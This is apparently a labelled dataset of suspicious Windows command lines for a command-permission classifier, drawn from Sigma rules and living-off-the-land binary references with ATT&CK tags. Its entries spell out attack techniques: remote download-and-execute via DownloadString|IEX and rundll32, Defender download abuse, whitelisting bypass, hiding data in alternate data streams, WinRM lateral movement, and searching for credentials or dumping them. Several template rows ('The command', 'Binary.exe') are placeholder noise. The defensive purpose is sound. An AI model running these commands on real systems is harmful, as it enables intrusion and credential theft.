cowWhySo/permission-command-corpus huggingface dataset:
Command: \cmd.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: process_creation
Platform: windows
ATT&CK tags: attack.privilege_escalation, attack.t1548.002
Source rule: MSI Spawned Cmd and Powershell Spawned Processes
Notes: Sigma process_creation rule; status=unsupported; level=high
Command: \powershell.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: process_creation
Platform: windows
ATT&CK tags: attack.privilege_escalation, attack.t1548.002
Source rule: MSI Spawned Cmd and Powershell Spawned Processes
Notes: Sigma process_creation rule; status=unsupported; level=high
Command: net session
Label: bad (risk class: suspicious, obfuscation: plain)
Category: process_creation
Platform: windows
ATT&CK tags: attack.g0010, attack.execution, attack.t1059, attack.lateral_movement, attack.t1021.002, attack.discovery, attack.t1083, attack.t1135
Source rule: Automated Turla Group Lateral Movement
Notes: Sigma process_creation rule; status=unsupported; level=medium
Command: net share
Label: bad (risk class: suspicious, obfuscation: plain)
Category: process_creation
Platform: windows
ATT&CK tags: attack.g0010, attack.execution, attack.t1059, attack.lateral_movement, attack.t1021.002, attack.discovery, attack.t1083, attack.t1135
Source rule: Automated Turla Group Lateral Movement
Notes: Sigma process_creation rule; status=unsupported; level=medium
Command: net view /DOMAIN
Label: bad (risk class: suspicious, obfuscation: plain)
Category: process_creation
Platform: windows
ATT&CK tags: attack.g0010, attack.execution, attack.t1059, attack.lateral_movement, attack.t1021.002, attack.discovery, attack.t1083, attack.t1135
Source rule: Automated Turla Group Lateral Movement
Notes: Sigma process_creation rule; status=unsupported; level=medium
Command: The command
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 1803, Windows 10 1703
ATT&CK tags: T1055, Key1: Value1
Source rule: Binary.exe
Notes: Description of the command
Command: The second command
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10 All
ATT&CK tags: T1033
Source rule: Binary.exe
Notes: Description of the second command
Command: C:\Windows\System32\DriverStore\FileRepository\igdlh64.inf_amd64_[0-9]+\GfxDownloadWrapper.exe "URL" "DESTINATION FILE"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10
ATT&CK tags: T1105
Source rule: GfxDownloadWrapper.exe
Notes: GfxDownloadWrapper.exe downloads the content that returns URL and writes it to the file DESTINATION FILE PATH. The binary is signed by "Microsoft Windows Hardware", "Compatibility Publisher", "Microsoft Windows Third Party Component CA 2012", "Microsoft Time-Stamp PCA 2010", "Microsoft Time-Stamp Service".
Command: powershell.exe -ep bypass -file c:\path\to\a\script.ps1
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7 and up
ATT&CK tags: T1059.001
Source rule: Powershell.exe
Notes: Set the execution policy to bypass and execute a PowerShell script without warning
Command: powershell.exe -ep bypass -command "Invoke-AllTheThings..."
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7 and up
ATT&CK tags: T1059.001
Source rule: Powershell.exe
Notes: Set the execution policy to bypass and execute a PowerShell command
Command: powershell.exe -ep bypass -ec IgBXAGUAIAA8ADMAIABMAE8ATABCAEEAUwAiAA==
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7 and up
ATT&CK tags: T1059.001
Source rule: Powershell.exe
Notes: Set the execution policy to bypass and execute a very malicious PowerShell encoded command
Command: code.exe tunnel --accept-server-license-terms --name "tunnel-name"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1219.001
Source rule: code.exe
Notes: Starts a reverse PowerShell connection over global.rel.tunnels.api.visualstudio.com via websockets; command
Command: . C:\Windows\diagnostics\system\AERO\CL_Mutexverifiers.ps1 \nrunAfterCancelProcess {PATH:.ps1}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1216, Execute: PowerShell
Source rule: CL_Mutexverifiers.ps1
Notes: Import the PowerShell Diagnostic CL_Mutexverifiers script and call runAfterCancelProcess to launch an executable.
Command: SyncAppvPublishingServer.vbs "n;((New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1216.002, Execute: PowerShell
Source rule: Syncappvpublishingserver.vbs
Notes: Inject PowerShell script code with the provided arguments
Command: Pester.bat [/help|?|-?|/?] "$null; {CMD}"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1216, Execute: EXE
Source rule: Pester.bat
Notes: Execute code using Pester. The third parameter can be anything. The fourth is the payload.
Command: Pester.bat ;{PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1216, Execute: EXE
Source rule: Pester.bat
Notes: Execute code using Pester. Example here executes specified executable.
Command: . C:\Windows\diagnostics\system\AERO\CL_Invocation.ps1 \nSyncInvoke {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1216, Execute: CMD
Source rule: CL_Invocation.ps1
Notes: Import the PowerShell Diagnostic CL_Invocation script and call SyncInvoke to launch an executable.
Command: pubprn.vbs 127.0.0.1 script:{REMOTEURL:.sct}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10
ATT&CK tags: T1216.001, Execute: SCT
Source rule: Pubprn.vbs
Notes: Set the 2nd variable with a Script COM moniker to perform Windows Script Host (WSH) Injection
Command: powershell.exe -ep bypass -command "set-location -path c:\windows\diagnostics\system\networking; import-module .\UtilityFunctions.ps1; RegSnapin ..\..\..\..\temp\unsigned.dll;[Program.Class]::Main()"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 21H1 (likely other versions as well), Windows 11
ATT&CK tags: T1216, Execute: DLL (.NET)
Source rule: UtilityFunctions.ps1
Notes: Proxy execute Managed DLL with PowerShell
Command: powershell.exe -ep bypass -command "set-location -path C:\Windows\diagnostics\system\Audio; import-module .\CL_LoadAssembly.ps1; LoadAssemblyFromPath ..\..\..\..\testing\fun.dll;[Program]::Fun()"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 21H1 (likely other versions as well), Windows 11
ATT&CK tags: T1216, Execute: DLL (.NET)
Source rule: CL_LoadAssembly.ps1
Notes: Proxy execute Managed DLL with PowerShell
Command: set comspec={PATH_ABSOLUTE:.exe} & cscript c:\windows\system32\manage-bde.wsf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1216, Execute: EXE
Source rule: Manage-bde.wsf
Notes: Set the comspec variable to another executable prior to calling manage-bde.wsf for execution.
Command: copy c:\users\person\evil.exe c:\users\public\manage-bde.exe & cd c:\users\public\ & cscript.exe c:\windows\system32\manage-bde.wsf
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1216, Execute: EXE
Source rule: Manage-bde.wsf
Notes: Run the manage-bde.wsf script with a payload named manage-bde.exe in the same directory to run the payload file.
Command: powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsWherePath {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1216, Execute: EXE
Source rule: Launch-VsDevShell.ps1
Notes: Execute binaries from the context of the signed script using the "VsWherePath" flag.
Command: powershell -ep RemoteSigned -f .\Launch-VsDevShell.ps1 -VsInstallationPath "/../../../../../; {PATH:.exe} ;"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1216, Execute: EXE
Source rule: Launch-VsDevShell.ps1
Notes: Execute binaries and commands from the context of the signed script using the "VsInstallationPath" flag.
Command: winrm invoke Create wmicimv2/Win32_Process @{CommandLine="{CMD}"} -r:http://target:5985
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1216, Execute: CMD, Execute: Remote
Source rule: winrm.vbs
Notes: Lateral movement/Remote Command Execution via WMI Win32_Process class over the WinRM protocol
Command: winrm invoke Create wmicimv2/Win32_Service @{Name="Evil";DisplayName="Evil";PathName="{CMD}"} -r:http://acmedc:5985 && winrm invoke StartService wmicimv2/Win32_Service?Name=Evil -r:http://acmedc:5985
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10, Windows 11
ATT&CK tags: T1216, Execute: CMD, Execute: Remote
Source rule: winrm.vbs
Notes: Lateral movement/Remote Command Execution via WMI Win32_Service class over the WinRM protocol
Command: %SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows 10, Windows 11
ATT&CK tags: T1220, Execute: XSL
Source rule: winrm.vbs
Notes: Bypass AWL solutions by copying cscript.exe to an attacker-controlled location; creating a malicious WsmPty.xsl in the same location, and executing winrm.vbs via the relocated cscript.exe.
Command: Presentationhost.exe {PATH_ABSOLUTE:.xbap}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
ATT&CK tags: T1218, Execute: XBAP
Source rule: Presentationhost.exe
Notes: Executes the target XAML Browser Application (XBAP) file
Command: Presentationhost.exe {REMOTEURL}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105, Download: INetCache
Source rule: Presentationhost.exe
Notes: It will download a remote payload and place it in INetCache.
Command: tar -cf {PATH}:ads {PATH_ABSOLUTE:folder}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows 10, Windows 11
ATT&CK tags: T1564.004, Type: Compression
Source rule: Tar.exe
Notes: Compress one or more files to an alternate data stream (ADS).
Command: tar -xf {PATH}:ads
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows 10, Windows 11
ATT&CK tags: T1564.004, Type: Compression
Source rule: Tar.exe
Notes: Decompress a compressed file from an alternate data stream (ADS).
Command: tar -xf {PATH_SMB:.tar}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows 10, Windows 11
ATT&CK tags: T1105, Type: Compression
Source rule: Tar.exe
Notes: Extracts archive.tar from the remote (internal) host to the current host.
Command: Runonce.exe /AlternateShellStartup
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: CMD
Source rule: Runonce.exe
Notes: Executes a Run Once Task that has been configured in the registry.
Command: set windir=c:\test& cd "C:\Program Files\Internet Explorer\" & iediagcmd.exe /out:{PATH_ABSOLUTE:.cab}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 1803, Windows 10 1703, Windows 10 22H1, Windows 10 22H2, Windows 11
ATT&CK tags: T1218, Execute: EXE
Source rule: iediagcmd.exe
Notes: Executes binary that is pre-planted at C:\test\system32\netsh.exe.
Command: msbuild.exe {PATH:.xml}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: AWL Bypass
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1127.001, Execute: CSharp
Source rule: Msbuild.exe
Notes: Build and execute a C# project stored in the target XML file.
Command: msbuild.exe {PATH:.csproj}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1127.001, Execute: CSharp
Source rule: Msbuild.exe
Notes: Build and execute a C# project stored in the target csproj file.
Command: msbuild.exe /logger:TargetLogger,{PATH_ABSOLUTE:.dll};MyParameters,Foo
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1127.001, Execute: DLL
Source rule: Msbuild.exe
Notes: Executes generated Logger DLL file with TargetLogger export.
Command: msbuild.exe {PATH:.proj}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1127.001, Execute: XSL
Source rule: Msbuild.exe
Notes: Execute JScript/VBScript code through XML/XSL Transformation. Requires Visual Studio MSBuild v14.0+.
Command: msbuild.exe @{PATH:.rsp}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1036, Execute: CMD
Source rule: Msbuild.exe
Notes: By putting any valid msbuild.exe command-line options in an RSP file and calling it as above will interpret the options as if they were passed on the command line.
Command: pktmon.exe start --etw
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Reconnaissance
Platform: Windows 10 1809 and later, Windows 11
ATT&CK tags: T1040
Source rule: Pktmon.exe
Notes: Will start a packet capture and store log file as PktMon.etl. Use pktmon.exe stop
Command: pktmon.exe filter add -p 445
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Reconnaissance
Platform: Windows 10 1809 and later, Windows 11
ATT&CK tags: T1040
Source rule: Pktmon.exe
Notes: Select Desired ports for packet capture
Command: dnscmd.exe dc1.lab.int /config /serverlevelplugindll {PATH_SMB:.dll}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows server
ATT&CK tags: T1543.003, Execute: DLL, Execute: Remote
Source rule: Dnscmd.exe
Notes: Adds a specially crafted DLL as a plug-in of the DNS Service. This command must be run on a DC by a user that is at least a member of the DnsAdmins group. See the reference links for DLL details.
Command: rasautou -d {PATH:.dll} -p export_name -a a -e e
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1
ATT&CK tags: T1218, Execute: DLL
Source rule: Rasautou.exe
Notes: Loads the target .DLL specified in -d and executes the export specified in -p. Options removed in Windows 10.
Command: MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10
ATT&CK tags: T1105
Source rule: MpCmdRun.exe
Notes: Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)
Command: copy "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\MpCmdRun.exe" C:\Users\Public\Downloads\MP.exe && chdir "C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.2008.9-0\" && "C:\Users\Public\Downloads\MP.exe" -DownloadFile -url {REMOTEURL:.exe} -path C:\Users\Public\Downloads\evil.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows 10
ATT&CK tags: T1105
Source rule: MpCmdRun.exe
Notes: Download file to specified path. Slashes work as well as dashes (/DownloadFile, /url, /path). Updated version to bypass Windows 10 mitigation.
Command: MpCmdRun.exe -DownloadFile -url {REMOTEURL:.exe} -path {PATH_ABSOLUTE:.exe}:evil.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows 10
ATT&CK tags: T1564.004
Source rule: MpCmdRun.exe
Notes: Download file to machine and store it in Alternate Data Stream
Command: SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('{REMOTEURL:.ps1}') | IEX"
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 1709, Windows 10 1703, Windows 10 1607
ATT&CK tags: T1218, Execute: PowerShell
Source rule: SyncAppvPublishingServer.exe
Notes: Example command on how inject Powershell code into the process
Command: tttracer.exe {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 1809 and newer, Windows 11
ATT&CK tags: T1127, Execute: EXE
Source rule: Tttracer.exe
Notes: Execute specified executable from tttracer.exe. Requires administrator privileges.
Command: TTTracer.exe -dumpFull -attach {PID}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Dump
Platform: Windows 10 1809 and newer, Windows 11
ATT&CK tags: T1003
Source rule: Tttracer.exe
Notes: Dumps process using tttracer.exe. Requires administrator privileges
Command: findstr /V /L W3AllLov3LolBas {PATH_ABSOLUTE:.exe} > {PATH_ABSOLUTE}:file.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Findstr.exe
Notes: Searches for the string W3AllLov3LolBas, since it does not exist (/V) the specified .exe file is written to an Alternate Data Stream (ADS) of the specified target file.
Command: findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE}:file.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004
Source rule: Findstr.exe
Notes: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is written to an Alternate Data Stream (ADS) of the file.txt file.
Command: findstr /S /I cpassword \\sysvol\policies\*.xml
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Credentials
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1552.001
Source rule: Findstr.exe
Notes: Search for stored password in Group Policy files stored on SYSVOL.
Command: findstr /V /L W3AllLov3LolBas {PATH_SMB:.exe} > {PATH_ABSOLUTE:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Findstr.exe
Notes: Searches for the string W3AllLov3LolBas, since it does not exist (/V) file.exe is downloaded to the target file.
Command: C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 7 or older
ATT&CK tags: T1053.002, Execute: CMD
Source rule: At.exe
Notes: Create a recurring task to execute every day at a specific time.
Command: extrac32 {PATH_ABSOLUTE:.cab} {PATH_ABSOLUTE}:file.exe
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Type: Compression
Source rule: Extrac32.exe
Notes: Extracts the source CAB file into an Alternate Data Stream (ADS) of the target file.
Command: extrac32 /Y /C {PATH_SMB} {PATH_ABSOLUTE}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Download
Platform: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Extrac32.exe
Notes: Copy the source file to the destination file and overwrite it.
Command: extrac32.exe /C {PATH_ABSOLUTE:.source.exe} {PATH_ABSOLUTE:.dest.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows XP, Windows Vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1105
Source rule: Extrac32.exe
Notes: Command for copying file from one folder to another
Command: rpcping -s 127.0.0.1 -e 1234 -a privacy -u NTLM
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Credentials
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1003
Source rule: Rpcping.exe
Notes: Send a RPC test connection to the target server (-s) and force the NTLM hash to be sent in the process.
Command: rpcping /s 10.0.0.35 /e 9997 /a connect /u NTLM
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Credentials
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1187
Source rule: Rpcping.exe
Notes: Trigger an authenticated RPC call to the target server (/s) that could be relayed to a privileged resource (Sign not Set).
Command: rundll32.exe {PATH},EntryPoint
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: DLL
Source rule: Rundll32.exe
Notes: First part should be a DLL file (any extension accepted), EntryPoint should be the name of the entry point in the DLL file to execute.
Command: rundll32.exe {PATH_SMB:.dll},EntryPoint
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: DLL, Execute: Remote
Source rule: Rundll32.exe
Notes: Execute a DLL from an SMB share. EntryPoint is the name of the entry point in the DLL file to execute.
Command: rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:{REMOTEURL}")
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218.011, Execute: JScript
Source rule: Rundll32.exe
Notes: Use Rundll32.exe to execute a JavaScript script that calls a remote JavaScript script.
Command: rundll32 "{PATH}:ADSDLL.dll",DllMain
Label: bad (risk class: suspicious, obfuscation: plain)
Category: ADS
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1564.004, Execute: DLL
Source rule: Rundll32.exe
Notes: Use Rundll32.exe to execute a .DLL file stored in an Alternate Data Stream (ADS).
Command: rundll32.exe -sta {CLSID}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows 10 (and likely previous versions), Windows 11
ATT&CK tags: T1218.011, Execute: COM
Source rule: Rundll32.exe
Notes: Use Rundll32.exe to load a registered or hijacked COM Server payload. Also works with ProgID.
Command: colorcpl {PATH}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Copy
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1036.005
Source rule: Colorcpl.exe
Notes: Copies the referenced file to C:\Windows\System32\spool\drivers\color\.
Command: Scriptrunner.exe -appvscript {PATH:.exe}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1202, Execute: EXE
Source rule: Scriptrunner.exe
Notes: Executes executable
Command: ScriptRunner.exe -appvscript {PATH_SMB:.cmd}
Label: bad (risk class: suspicious, obfuscation: plain)
Category: Execute
Platform: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
ATT&CK tags: T1218, Execute: Remote, Execute: CMD
Source rule: Scriptrunner.exe
Notes: Executes cmd file from remote server